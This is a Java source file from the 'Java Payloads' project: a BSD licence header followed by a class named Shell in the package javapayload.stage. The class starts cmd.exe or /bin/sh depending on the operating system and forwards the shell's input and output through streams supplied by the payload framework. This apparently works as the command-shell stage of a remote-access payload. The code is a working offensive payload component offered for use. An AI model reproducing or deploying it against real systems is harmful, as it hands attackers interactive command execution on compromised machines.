/*
 * Java Payloads.
 * 
 * Copyright (c) 2010, Michael 'mihi' Schierl
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 
 * - Redistributions of source code must retain the above copyright notice,
 *   this list of conditions and the following disclaimer.
 *   
 * - Redistributions in binary form must reproduce the above copyright
 *   notice, this list of conditions and the following disclaimer in the
 *   documentation and/or other materials provided with the distribution.
 *   
 * - Neither name of the copyright holders nor the names of its
 *   contributors may be used to endorse or promote products derived from
 *   this software without specific prior written permission.
 *   
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
 * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
 * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

package javapayload.stage;

import java.io.DataInputStream;
import java.io.OutputStream;

public class Shell implements Stage {
	public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
		final String[] cmdarray = new String[1];
		if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
			cmdarray[0] = "cmd.exe";
		} else {
			cmdarray[0] = "/bin/sh";
		}
		final Process proc = Runtime.getRuntime().exec(cmdarray);
		new StreamForwarder(in, proc.getOutputStream(), out).start();
		new StreamForwarder(proc.getInputStream(), out, out).start();
		new StreamForwarder(proc.getErrorStream(), out, out).start();
		proc.waitFor();
		in.close();
		out.close();
	}
}